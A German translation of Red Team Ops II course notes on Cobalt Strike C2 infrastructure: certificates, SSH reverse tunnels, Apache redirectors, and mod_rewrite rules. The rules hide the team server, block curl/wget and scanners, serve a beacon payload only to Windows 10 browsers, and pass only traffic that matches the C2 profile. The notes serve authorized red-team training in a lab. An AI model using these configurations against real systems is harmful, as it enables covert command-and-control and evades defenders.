-
Notifications
You must be signed in to change notification settings - Fork 0
Home
Willkommen bei Red Team Ops II
Dieser Kurs ist als Fortsetzung des Red Team Ops konzipiert und baut auf den dort behandelten Grundlagen auf.
Obwohl es nicht zwingend erforderlich ist, wird dringend empfohlen, RTO I als Voraussetzung abgeschlossen zu haben.
Der Schwerpunkt von RTO II liegt darauf, fortgeschrittene OPSEC-Taktiken und Strategien zur Umgehung von Abwehrmaßnahmen zu vermitteln.
Wenn du das Kurs- und Labor-Bundle gekauft hast, kannst du auf das RTO II Lab über das Snap Labs Dashboard zugreifen, wo du ein "Red Team Ops II Lab"-Event siehst.




Wenn du auf dieses Event klickst, hast du die Möglichkeit, das Lab zu starten.
Während des ersten Starts versuche nicht, das Lab herunterzufahren, bevor der Gesamtstatus des Labs und der Status jeder einzelnen VM auf Running steht.
Sobald alles läuft, kannst du auf die VM-Konsolen über das kleine Monitor-Symbol zugreifen.
Die AdminBox muss laufen, um Zugriff auf die VMs zu bekommen.
Zusätzliche Laborzeit kann über diese Seite erworben werden.
Der primäre Support-Kanal ist über den Zero-Point Security Discord erreichbar.
Du kannst dich dem privaten Student*innen-Kanal hinzufügen, indem du den !roles-Befehl benutzt (vorausgesetzt, HAL streikt nicht gerade).
Es gibt außerdem den Red Team Operators Community-Bereich, der für alle offen ist, die sowohl für RTO als auch RTO II eingeschrieben sind.
C2 Infrastruktur
Defence in Depth (Tiefenverteidigung) ist ein Ansatz, bei dem mehrere Schutzmechanismen übereinandergeschichtet werden, um ein (oder mehrere) Asset(s) zu schützen.
Die Idee dahinter ist, dass – falls ein Mechanismus versagt – andere als Backup vorhanden sind.
Organisationen investieren häufig stark in ihre äußere Perimeter-Sicherheit und vernachlässigen dabei gute Sicherheitspraktiken im internen Netzwerk.
Dies geschieht oft unter dem Trugschluss, dass sie sich um nichts anderes mehr sorgen müssen, solange sie Angreifer am Perimeter fernhalten.
Das offensichtliche Risiko besteht darin, dass, wenn (nicht falls) diese einzelne äußere Verteidigung versagt, Angreifer ins Netzwerk gelangen und dann beim Erreichen ihres Ziels kaum noch auf Widerstand stoßen. Solche Szenarien umfassen clientseitige Angriffe wie Phishing und lästige Netzwerkgeräte-0days wie diese Citrix ADC RCE. Dies ist eine Lage, gegen die Sicherheitsexperten seit Jahren ankämpfen, doch allzu oft befolgen wir unseren eigenen Rat nicht. Auch wenn Penetrationstester und Red Teamer eigentlich dazu da sind, einer Organisation zu helfen, können wir ein erhebliches Risiko darstellen, wenn wir nicht sorgfältig arbeiten. Während eines Engagements erhalten wir voraussichtlich Zugang zu vielen sensiblen Systemen und Daten – und es liegt letztlich in unserer Verantwortung, diese zu schützen. Mir fällt kaum etwas Schlimmeres ein, als direkt dazu beizutragen, dass ein Kunde kompromittiert wird…
Es gibt verschiedene Wege, wie dies passieren kann, beispielsweise: Offene, nicht authentifizierte Backdoors, die über das Internet erreichbar sind, wie Webshells oder SOCKS-Proxys. Nutzung unverschlüsselter Kanäle, wie netcat oder HTTP-Shells. Kompromittierte C2-Server, z. B. wie hier: Cobalt Strike RCE und Covenant RCE.
In diesem Modul wird behandelt, wie offensive Infrastruktur sowohl sicher als auch widerstandsfähig gestaltet und genutzt werden kann. The Redirector 1 VM is pre-installed with apache2, ssl, mod_rewrite, proxy & proxy_http modules. Das erreichen wir wie folgt:
sudo apt install apache2 sudo a2enmod ssl rewrite proxy proxy_http
Apache runs under HTTP by default, but there’s a built-in configuration for HTTPS that we can enable. The "enabled" configurations are simply symlinks to those in the "available" directory. Restart Apache for it to pick up the new configuration.
sudo systemctl restart apache2
Open a browser on Attacker Windows and browse to https://10.10.5.39/. The default page should load with Apache’s default self-signed certificate.
![[8. Apache Installation.png]]
Als Nächstes möchten wir ein eigenes öffentlich/privates Schlüsselpaar für die HTTPS-Kommunikation erzeugen. Wir werden dieses sowohl auf dem Team Server als auch auf den Apache-Redirectoren verwenden, um die Verschlüsselung Ende-zu-Ende aufrechtzuerhalten. Je nach deinem persönlichen Paranoia-Level kannst du HTTPS auch auf dem Redirector terminieren und den Verkehr anschließend per HTTP (z. B. über einen SSH- oder VPN-Tunnel) an den Team Server weiterleiten. Ich besitze den Domainnamen acmecorp.uk, den ich in diesem Beispiel verwende. Beachte bitte, dass du den vollständigen Prozess zur Signierung deines Zertifikats durch eine vertrauenswürdige Zertifizierungsstelle (CA) nicht durchführen kannst, da das Labor nicht mit dem Internet verbunden ist. Erzeuge ein neues Schlüsselpaar auf der Team Server VM mit openssl. Dabei werden sowohl ein öffentliches Zertifikat als auch ein privater Schlüssel erzeugt:
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
Generating a RSA private key … writing new private key to 'private.key'
You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. … Country Name (2 letter code) [AU]:UK State or Province Name (full name) [Some-State]:London Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]:ACME Corp Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:acmecorp.uk E mail Address []:
Du kannst in den Feldern beliebige Werte angeben – mit Ausnahme des "Common Name": dieser muss die öffentliche IP-Adresse oder, besser, den vollständig qualifizierten Domainnamen (FQDN) enthalten. Die übrigen Felder sind ebenfalls im Zertifikat sichtbar, also sollten sie mit der gewünschten Tarnung deiner Infrastruktur übereinstimmen. Wenn du dein Zertifikat von einer vertrauenswürdigen CA signieren lassen möchtest, musst du eine Certificate Signing Request (CSR) erzeugen und einreichen. In diesem Beispiel wurde kein Challenge-Passwort angegeben:
openssl req -new -key private.key -out acme.csr
-
Country Name (2 letter code) [AU]:UK State or Province Name (full name) [Some-State]:London Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]:ACME Corp Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:acmecorp.uk Email Address []: Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
Die ersten Zeilen der Datei acme.csr sehen dann etwa so aus:
ubuntu@teamserver ~> head acme.csr
-----BEGIN CERTIFICATE REQUEST----- MIIEjTCCAnUCAQAwSDELMAkGA1UEBhMCVUsxDzANBgNVBAgMBkxvbmRvbjESMBAG …
Am einfachsten kannst du dein Zertifikat mit Certbot signieren lassen. Beachte jedoch, dass dabei die öffentliche IP-Adresse deines Servers protokolliert wird:
certbot certonly -d acmecorp.uk --apache --register-unsafely-without-email --agree-tos
Dies erzeugt vier Dateien unter: /etc/letsencrypt/archive/acmecorp.uk/
Die beiden für uns wichtigen Dateien sind: fullchain.pem → muss nach /etc/ssl/certs/ kopiert werden privkey.pem → muss nach /etc/ssl/private/ kopiert werden
Anschließend müssen die Einträge in der Datei /etc/apache2/sites-available/default-ssl.conf entsprechend angepasst werden: SSLCertificateFile → auf fullchain.pem setzen SSLCertificateKeyFile → auf privkey.pem setzen
Im Labor kannst du stattdessen auch einfach die ursprünglich erzeugten Dateien public.crt und private.key verwenden. Zusätzlich musst du folgende Zeile in die SSL-Konfiguration von Apache einfügen:
SSLProxyCheckPeerCN off
Dies weist Apache an, nicht zu überprüfen, ob das SSL-Zertifikat des Cobalt Strike HTTPS-Listeners von einer vertrauenswürdigen Stelle stammt (da es selbstsigniert ist). Zum Schluss Apache neustarten, und die Seite ist über eine HTTPS-Verbindung erreichbar.
Da der Team Server in Java geschrieben ist, müssen das öffentliche Zertifikat und der private Schlüssel in einen Java KeyStore importiert werden. Da du im Labor keine von certbot signierten Zertifikate hast, verwende ich hier die ursprünglichen Dateien public.crt und private.key. Zuerst müssen wir die beiden Dateien (Zertifikat und Schlüssel) in eine einzelne PKCS12-Datei zusammenführen. Das Passwort kannst du frei wählen – aber du musst es dir merken:
openssl pkcs12 -inkey private.key -in public.crt -export -out acme.pkcs12
Diese .pkcs12-Datei kann nun mithilfe des Tools keytool in einen Java KeyStore umgewandelt werden:
keytool -importkeystore -srckeystore acme.pkcs12 -srcstoretype pkcs12 -destkeystore acme.store
Das Passwort für den neuen Keystore kann gleich oder unterschiedlich zum vorherigen sein. Sobald der Import abgeschlossen ist, kannst du die .pkcs12-Datei löschen. Der neue Java KeyStore muss in einem Malleable C2 Profile referenziert werden, bevor er verwendet werden kann:
https-certificate { set keystore "acme.store"; set password "password"; }
Cobalt Strike erwartet, dass sich der Keystore im gleichen Verzeichnis befindet wie der Team Server selbst. Starte den Team Server anschließend mit dem aktualisierten Profil:
sudo ./teamserver 10.10.0.69 Passw0rd! c2-profiles/normal/webbug_getonly.profile
Sobald du mit dem Cobalt Strike Client verbunden bist, gehe ins Menü Listeners und klicke auf Add (Hinzufügen). Wähle die Option Beacon HTTPS Payload aus. Wenn du einen HTTP-Listener erstellst, wird das Feld für die Callback-Hosts automatisch mit der IP-Adresse des Team Servers ausgefüllt – in diesem Fall 10.10.0.69. Das Problem dabei ist, dass nichts Externes diese IP erreichen kann. Jeder Payload, der mit dieser Konfiguration erzeugt wird, könnte uns daher nie erreichen. In der realen Welt würdest du unter HTTP Hosts und HTTPS Host (Stager) deinen FQDN (Fully Qualified Domain Name) eintragen – in meinem Beispiel also z. B. acmecorp.uk. Im Labor allerdings sind wir gezwungen, die IP-Adresse des Redirectors anzugeben – also 10.10.5.39. ![10. HTTPS Listener for Redirector.png] Dadurch wird dem Payload mitgeteilt, dass er zum Redirector verbinden soll – und wir verlassen uns darauf, dass dieser Redirector den Datenverkehr an den Team Server weiterleitet/proxyt. Auf der Angreifer-VM (Linux) erstelle einen SSH-Tunnel zu Redirector-1: ssh -N -R 8443:localhost:443 -i ssh-user ssh-user@10.10.5.39 Erklärung der Parameter: -N verhindert, dass nach dem Verbindungsaufbau eine Shell geöffnet wird. -R steht für remote-port:host:host-port. Das bedeutet: Der Port 8443 wird auf dem Zielsystem (Redirector) gebunden, und alle Verbindungen, die diesen Port erreichen, werden zu 127.0.0.1:443 auf der Team Server VM weitergeleitet. Da der Cobalt Strike Listener auf allen Schnittstellen (0.0.0.0) lauscht, wird der Datenverkehr dadurch korrekt weitergeleitet. -i gibt den privaten SSH-Schlüssel für den Benutzer ssh-user an. Der Befehl wirkt, als würde das Terminal einfrieren – es gibt keine Ausgabe, außer bei Fehlern. Mit Ctrl + C kannst du die SSH-Sitzung jederzeit beenden. Wenn du jetzt auf Redirector-1 die offenen Ports auflistest, wirst du sehen, dass der Port 8443 vom SSH-Daemon belegt ist: sudo ss -ltnp State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 127.0.0.1:8443 0.0.0.0:* users:"sshd",pid=16799,fd=11 Du kannst jetzt auf Redirector-1 folgendes ausführen: curl -v -k https://localhost:8443 Und der Aufruf wird den Cobalt Strike Listener erreichen: curl -v -k https://localhost:8443 * Trying 127.0.0.1:8443… * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8443 (#0) … * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 … * Server certificate: * subject: C=UK; ST=London; O=ACME Corp; CN=acmecorp.uk * issuer: C=UK; ST=London; O=ACME Corp; CN=acmecorp.uk * SSL certificate verify result: self signed certificate (18), continuing anyway. GET / HTTP/1.1 Host: localhost:8443 … < HTTP/1.1 404 Not Found < Date: Thu, 26 May 2022 15:08:24 GMT < Content-Type: text/plain < Content-Length: 0 Im Web-Log von Cobalt Strike wird dann der Request sichtbar: 05/26 15:08:24 visit (port 443) from: 127.0.0.1 Request: GET / Response: 404 Not Found curl/7.68.0 Wenn du hingegen versuchst, den Team Server direkt über seine IP zu erreichen, schlägt die Verbindung fehl: curl -v -k https://10.10.0.69 * Trying 10.10.0.69:443… * TCP_NODELAY set * connect to 10.10.0.69 port 443 failed: Connection timed out * Failed to connect to 10.10.0.69 port 443: Connection timed out * Closing connection 0 curl: (28) Failed to connect to 10.10.0.69 port 443: Connection timed out Damit hast du jetzt ein funktionierendes Reverse Port Forwarding über einen SSH-Tunnel eingerichtet. Für zusätzlichen Komfort kann autossh verwendet werden, um den SSH-Tunnel automatisch zu erstellen und aufrechtzuerhalten. Auf der Angreifer-VM (Linux) erstelle eine config-Datei im Verzeichnis .ssh deines Benutzers: nano .ssh/config Füge anschließend folgenden Inhalt ein: Host redirector-1 HostName 10.10.5.39 User ssh-user Port 22 IdentityFile /home/ubuntu/ssh-user RemoteForward 8443 localhost:443 ServerAliveInterval 30 ServerAliveCountMax 3 Damit kannst du den Tunnel nun mit folgendem Befehl starten: autossh -M 0 -f -N redirector-1 Erklärung der Parameter: -M 0 deaktiviert den Überwachungsport von autossh und nutzt stattdessen die integrierte Alive-Überwachung von OpenSSH (ServerAliveInterval und ServerAliveCountMax). -f sorgt dafür, dass autossh im Hintergrund ausgeführt wird. -N unterdrückt den Shell-Zugriff (wie bei ssh -N), da nur der Tunnel benötigt wird. .htaccess ist eine Konfigurationsdatei, die von Apache ausgeführt wird. Sie kann für vieles verwendet werden – von einfacher Weiterleitung, Passwortschutz bis hin zur Verhinderung von Hotlinking für Bilder. Um .htaccess zu aktivieren, bearbeite die Datei /etc/apache2/sites-enabled/default-ssl.conf. Füge direkt unterhalb des schließenden </virtualhost>-Tags einen neuen <directory>-Block mit folgendem Inhalt ein: <directory html var www/> Options Indexes FollowSymLinks MultiViews AllowOverride All Require all granted </directory> Außerdem musst du die Zeile SSLProxyEngine on unterhalb von SSLEngine on ergänzen. Nachdem du diese Änderungen gespeichert hast, starte Apache neu, damit alles übernommen wird: sudo systemctl restart apache2 Optional: Überschreibe die Standard-Indexseite, um beim Testen nicht jedes Mal die Apache-Standardseite zu sehen: echo "Hello from Apache" | sudo tee /var/www/html/index.html Erstelle nun eine neue Datei .htaccess im Apache Web Root, also in /var/www/html, mit folgendem Inhalt: RewriteEngine on RewriteRule ^test$ index.html [NC] Erklärung: Die erste Zeile aktiviert die Rewrite Engine. Die zweite Zeile ist eine einfache Weiterleitungsregel. Die Syntax einer RewriteRule lautet: Muster Ziel [Flags] In diesem Fall ist das Muster ^test$ – ein regulärer Ausdruck, der: den Anfang der URL (^) gefolgt vom Wort "test" und dem Ende ($) prüft. Die Substitution ist index.html, also die neue Zielseite. Du könntest hier auch auf eine externe Domain weiterleiten. Die [NC]-Flag bedeutet "No Case", also Groß-/Kleinschreibung ignorieren. Damit matchen sowohl "test" als auch "TEST". Teste das Ganze mit curl, indem du eine Seite aufrufst, die eigentlich nicht existiert: curl -k https://localhost/test Hello from Apache Obwohl die Datei "test" im Webverzeichnis nicht existiert, erkennt Apache dank der Rewrite-Regel die Anfrage und liefert stattdessen index.html aus. Du kannst auch mehrere Flags gleichzeitig verwenden, z. B. [L,NC,P]. Hier ein paar nützliche Flags: [L] – Last: Apache stoppt hier mit der weiteren Verarbeitung von Regeln. [NE] – No Escape: Sonderzeichen wie & oder ? werden nicht URL-kodiert. [P] – Proxy: Übergibt die Anfrage an mod_proxy. [R] – Redirect: Sendet einen echten HTTP-Redirect (z. B. 302). [S] – Skip: Überspringt die nächsten N Regeln. [T] – Type: Setzt den MIME-Typ der Antwort. Darüber hinaus lassen sich Rewrite Conditions (RewriteCond) mit RewriteRule kombinieren. So können Regeln nur unter bestimmten Bedingungen ausgeführt werden. Die Syntax lautet: TestString Bedingung [Flags] Beispiele für TestString sind: %{REMOTE_ADDR} (IP-Adresse) %{HTTP_COOKIE} %{HTTP_USER_AGENT} %{REQUEST_URI} Du kannst mehrere RewriteCond nacheinander definieren – sie werden standardmäßig wie ein logisches UND behandelt. Möchtest du ein ODER, setze die [OR]-Flag. Die Regeln werden von oben nach unten ausgewertet. Wir werden im nächsten Abschnitt mehrere Beispiele behandeln. Für vollständige Details empfiehlt sich die offizielle Dokumentation zu mod_rewrite: https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html Das Durchführen von Weiterleitungen basierend auf dem User-Agent-String eines Clients kann in verschiedenen Szenarien nützlich sein. Zum Beispiel: Weiterleitung zu spezifischen Browser-Exploits Blockieren von „skriptartigen“ User Agents wie curl, wget, Python, PowerShell Erkennung und Blockade bekannter AV-Scanner oder Sandboxen Unterscheidung zwischen Desktop- und Mobilgeräten Im folgenden Beispiel wird geprüft, ob der User-Agent „curl“ oder „wget“ enthält – in diesem Fall wird ein HTTP 403 Forbidden zurückgegeben: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} curl|wget [NC] RewriteRule .* - [F] Beispielausgabe mit curl: curl -k https://localhost <html><head> <title>403 Forbidden</title> </head><body> Forbidden You don’t have permission to access this resource. <hr> <address>Apache/2.4.41 (Ubuntu) Server at localhost Port 80</address> </body></html> Achte darauf, keine Endlosschleifen zu erzeugen – z. B. durch Weiterleitungen auf lokale URIs, die wiederum dieselbe Regel erneut auslösen. Fügen wir nun eine zweite RewriteCond- und RewriteRule-Direktive hinzu. Diese prüft locker, ob es sich um ein Gerät mit Windows 10 handelt: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} curl|wget [NC] RewriteRule .* - [F] RewriteCond %{HTTP_USER_AGENT} "Windows NT 10.0" [NC] RewriteRule .* https://localhost:8443/win-payload [P] Die [P]-Direktive steht für Proxy und sorgt dafür, dass Apache die Anfrage transparenterweise an den internen Backend-Server (z. B. Cobalt Strike Listener) weiterleitet – der Client bekommt davon nichts mit. Beispiel mit User Agent von Windows 10: curl -v -k -A "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" https://localhost […gekürzt…] < HTTP/1.1 404 Not Found < Date: Thu, 26 May 2022 15:50:29 GMT < Server: Apache/2.4.41 (Ubuntu) < Content-Type: text/plain < Content-Length: 0 < Doch auf dem Team Server sehen wir, dass die Anfrage weitergeleitet wurde: 05/26 15:37:41 visit (port 443) from: 127.0.0.1 Request: GET /win-payload Response: 404 Not Found Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Jetzt kannst du eine x64-stageless EXE mit Cobalt Strike erzeugen und sie auf dem internen Webserver hosten (z. B. als win-payload.exe). Zugriff mit blockiertem User-Agent (curl Standard): curl -k -v https://localhost/win-payload <html><head> <title>403 Forbidden</title> </head><body> Forbidden You don’t have permission to access this resource. <hr> <address>Apache/2.4.41 (Ubuntu) Server at localhost Port 443</address> </body></html> Zugriff mit einem nicht blockierten User-Agent: curl -k -A "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" https://localhost/win-payload.exe Auf dem Team Server erscheint: 05/27 15:48:45 visit (port 443) from: 127.0.0.1 Request: GET /win-payload.exe page Serves /home/ubuntu/cobaltstrike/uploads/beacon.exe Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Fazit: Mit mod_rewrite kannst du sehr gezielt steuern, wer welche Inhalte sehen darf, Weiterleitungen einrichten oder Zugriffe über Proxies tunneln – basierend auf dem User-Agent oder anderen Parametern. Einige HTTP-C2-Profile fügen der Anfrage ein Cookie hinzu, um z. B. Metadaten zu übertragen oder einfach als Canary (zur Erkennung unerwünschter Zugriffe). Wir können die Variable %{HTTP_COOKIE} verwenden, um eine Weiterleitung nur dann durchzuführen, wenn dieses Cookie vorhanden ist: RewriteEngine on RewriteCond %{HTTP_COOKIE} TestCookie [NC] RewriteRule .* https://localhost:8443/cookie-test [P] Wenn wir ohne Cookie eine Anfrage an localhost stellen, wird einfach die Standardseite ausgeliefert: curl -k https://localhost Hello from Apache Wenn wir das Cookie hinzufügen, leitet Apache die Anfrage an den Team Server weiter: curl -k --cookie "TestCookie=Blah" https://localhost Auf dem Team Server erscheint: 05/26 15:59:08 visit (port 443) from: 127.0.0.1 Request: GET /cookie-test Response: 404 Not Found curl/7.68.0 Da die Regeln von oben nach unten verarbeitet werden, können wir sie schichtweise kombinieren, um komplexere Kontrolllogik umzusetzen – z. B. Blockierregeln oben, Weiterleitungen darunter: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} "curl|wget" [NC] RewriteRule .* - [F] RewriteCond %{HTTP_COOKIE} "TestCookie" [NC] RewriteRule .* https://localhost:8443/cookie-test [P] In diesem Fall greift zuerst die Regel für den User Agent. Selbst wenn das richtige Cookie gesetzt ist, wird curl oder wget blockiert: curl -k --cookie "TestCookie=Blah" https://localhost <html><head> <title>403 Forbidden</title> </head><body> Forbidden You don’t have permission to access this resource. <hr> <address>Apache/2.4.41 (Ubuntu) Server at localhost Port 443</address> </body></html> Wenn wir jedoch einen "erlaubten" User Agent angeben, wird die Anfrage erfolgreich weitergeleitet: curl -k -A "mozilla" --cookie "TestCookie=Blah" https://localhost Damit zeigt sich: Durch Kombination von Bedingungen wie User Agent und Cookies lassen sich sehr gezielte Zugriffssteuerungen aufbauen – nützlich z. B. für C2-Infrastrukturen oder Red Team Operations. Die letzten beiden Direktiven, die hier behandelt werden sollen, sind %{REQUEST_URI} und %{QUERY_STRING}. Die Request URI ist der Teil, der direkt nach der Host-IP oder dem Hostnamen folgt, z. B. http://localhost/index.php. Die Query String ist alles, was nach der URI kommt, z. B. http://localhost/index.php?id=1. Diese beiden zusammen sind sehr gut geeignet, um nur den Traffic zu proxyen, der zu unserem C2-Profil passt. Da wir das Profil webbug_getonly verwenden, wissen wir, wie die URIs für unseren Beacon aussehen: Für GET-Anfragen ist es /_utm.gif, für POST-Anfragen /utm.gif (identisch, nur mit unterschiedlicher Anzahl an Unterstrichen am Anfang). Beginnen wir mit folgendem: RewriteEngine on RewriteCond %{REQUEST_URI} win-payload [NC] RewriteRule .* https://localhost:8443%{REQUEST_URI} [P] RewriteCond %{REQUEST_URI} utm.gif [NC] RewriteRule .* https://localhost:8443%{REQUEST_URI} [P] Die erste Regel erlaubt dem Ziel, das gehostete Payload herunterzuladen, die zweite Regel proxyt die URI für den C2-Traffic. Öffne die Konsole auf WKSTN-1, starte Edge und navigiere zu https://10.10.5.39/win-payload. Ignoriere die SSL-Warnung (weil wir ein selbstsigniertes Zertifikat nutzen), lade das Payload herunter und führe es aus. Wenn alles gut geht, bekommst du einen Beacon, dem du Aufgaben schicken und Ergebnisse erhalten kannst. Wir können in der RewriteCond noch spezifischer werden, denn aktuell wird jede Anfrage, die utm.gif enthält, proxied. Wir schauen uns das C2-Profil nochmal an und betrachten die anderen Parameter, die in den Anfragen enthalten sind. Das Folgende stammt aus dem http-get-Block im webbug_getonly.profile: set uri "/_utm.gif"; client { parameter "utmac" "UA-2202604-2"; parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US"; metadata { base64url; prepend "utma"; parameter "utmcc"; } } Jeder Parameter wird in der Reihenfolge, in der er definiert ist, an die URI angehängt. Die URL sähe also etwa so aus: _utm.gif?utmac=UA-2202604-2&utmcn=1 usw. Hier ein Beispiel für eine einfache Check-in-Anfrage und eine leere Antwort (d.h. keine neuen Jobs): GET /_utm.gif?utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=_utmaKFgztfuYXyCS1e0_9U_JbX5a4wIKqwoOGPEj4gMUCWMstv_UHlWTpOEav3Wqxkgz30RFJUobM-c7ECCgPdTQzOBe8djfQ-v9epBzMnWhYf1s4CrmfikMPMipTM8iLscRveV-oujpScoiLPDUgrFJONy-m5V9yT0sBZIwsAq_3g HTTP/1.1 Host: localhost:8443 Accept: / User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS) Cache-Control: no-cache X-Forwarded-For: 10.10.120.106 X-Forwarded-Host: 10.10.5.18 X-Forwarded-Server: 10.10.5.18 Connection: close HTTP/1.1 200 OK Date: Wed, 3 Nov 2021 13:41:22 GMT Content-Type: image/gif Content-Length: 40 GIF89a…………!……,………..D.; Fügt man eine weitere RewriteCond unter die bestehende, werden sie als UND-Bedingung interpretiert: Die Request URI muss utm.gif enthalten und die Query String muss genau mit der im C2-Profil definierten übereinstimmen. Wir können nicht vorhersagen, welchen Wert der utmcc Parameter genau hat, da er Metadaten vom kompromittierten Endpunkt enthält, aber wir wissen, dass er immer mit utma beginnt: RewriteCond %{REQUEST_URI} utm.gif [NC] RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=utma [NC] RewriteRule .* https://localhost:8443%{REQUEST_URI} [P] Du wirst bemerken, dass der Beacon zwar weiter „eincheckt“ (wenn nicht, stimmt etwas nicht und der Traffic wird geblockt), aber keine Befehle mehr ausführt. Das liegt daran, dass die Antwort, wie im http-post Block definiert, etwas anders ist, weswegen wir eine weitere RewriteCond brauchen. set uri "/__utm.gif"; set verb "GET"; client { id { prepend "UA-220"; append "-2"; parameter "utmac"; } parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US";
output {
base64url;
prepend "__utma";
parameter "utmcc";
}
}
Dies ergibt eine Anfrage, die so aussieht:
GET /__utm.gif?utmac=UA-2201937987662-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utmaAAAAMM2E4ZL8UaQNTYkmpPhRcf5VIUVFm2Py10lmXl1BpewAaMKwh2_rnRjgK1vvUZ-inA HTTP/1.1
Der Datenabschnitt steht am Ende der Anfrage (an der gleichen Stelle, an der im http-get Block die Metadaten angehängt werden). Allerdings werden die Metadaten hier nicht per POST gesendet, sondern nur die Beacon-ID. Diese ist hier eingebettet: utmac=UA-2201937987662-2. Da diese ID für jeden Beacon unterschiedlich ist, muss sie mit einem regulären Ausdruck abgefangen werden:
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]
Wichtig: An die vorherige RewriteCond musst du die Flagge [OR] anhängen.
Du kannst ganz unten auch noch eine Art „Catch-All“-Regel hinzufügen. Wenn keine der Rewrite-Conditions zutrifft, wird die letzte Regel als letzte Möglichkeit angewendet. Meine .htaccess Datei sieht jetzt so aus und der Beacon funktioniert vollständig:
RewriteEngine on
RewriteCond %{REQUEST_URI} win-payload [NC] RewriteRule .* https://localhost:8443%{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} __utm.gif [NC] RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC,OR] RewriteCond %{QUERY_STRING} utmac=UA-220(.)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US&utmcc=__utma [NC]
RewriteRule . https://localhost:8443%{REQUEST_URI} [P]
RewriteRule .* - [F]
Wer aufmerksam ist, merkt, dass die beiden QUERY_STRING-Regeln sich so ähnlich sind, dass man die erste eigentlich weglassen und nur die mit dem Wildcard-utmac-Parameter behalten könnte. Da aber C2-Profile stark unterschiedliche Request URIs und Query Strings in ihren http-get und http-post Blöcken nutzen, war es sinnvoll, beide Fälle durchzugehen.
Der Kernpunkt ist, den Zugriff auf unseren Team Server zu schützen. Wir wollen nur HTTP-Traffic an den Team Server lassen, der bekannten C2-Traffic oder Payload-Download-Anfragen entspricht. Probiere mit curl oder wget aus, ob du irgendwelche Informationen vom Team Server „leaken“ kannst. Wenn ja, versuche die .htaccess-Regeln noch strenger zu machen.
cs2modrewrite ist eine Sammlung von Python-Tools, die automatisch Rewrite-Regeln für Apache und Nginx erzeugen können.
Zuerst muss in der webbug_getonly.profile (oder in dem Profil, das du verwendest) eine explizite User-Agent-Angabe hinzugefügt werden, da das Skript diese benötigt.
set useragent "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko";
Dies ist eine globale Option und steht daher außerhalb der http-get und http-post Blöcke.
Danach kann man cs2modrewrite.py ausführen:
ubuntu@teamserver ~/cs2modrewrite (master)> python3 cs2modrewrite.py -i ~/cobaltstrike/c2-profiles/normal/webbug_getonly.profile -c https://localhost:8443 -r https://www.google.com/ -o webbug_getonly_htaccess
Dabei gilt:
-i ist das Malleable C2 Profil.
-c ist der Ort des Team Servers.
-r ist eine URL, zu der ungültiger Traffic weitergeleitet wird.
-o ist die Ausgabedatei. Das Ergebnis sieht zum Beispiel so aus: .htaccess START RewriteEngine On (Optional) Scripted Web Delivery Auskommentieren und anpassen bei Bedarf RewriteCond %{REQUEST_URI} ^/css/style1.css?$ #RewriteCond %{HTTP_USER_AGENT} ^$ #RewriteRule ^.$ "http://TEAMSERVER%{REQUEST_URI}" [P,L] Standard Beacon Staging Support (/1234) RewriteCond %{REQUEST_METHOD} GET [NC] RewriteCond %{REQUEST_URI} ^/…./?$ RewriteCond %{HTTP_USER_AGENT} "{ua}" RewriteRule ^.$ "{c2server}%{REQUEST_URI}" [P,L] C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs) Logik: Wenn eine angefragte URI UND der User-Agent übereinstimmen, wird die Verbindung an den Teamserver proxied Es empfiehlt sich weitere HTTP-Checks hinzuzufügen, um die Prüfung zu verfeinern (HTTP Cookie, HTTP Referer, HTTP Query String, etc) Siehe http://httpd.apache.org/docs/current/mod/mod_rewrite.html Nur GET und POST Methoden werden zum C2 Server weitergeleitet RewriteCond %{REQUEST_METHOD} ^(GET|POST) [NC] Profil-URIs RewriteCond %{REQUEST_URI} ^(/_utm.gif.|/init.gif.|/_init.gif.|/__utm.gif.)$ Profil UserAgent RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" RewriteRule ^.$ "https://localhost:8443%{REQUEST_URI}" [P,L] Alle anderen Anfragen hierhin 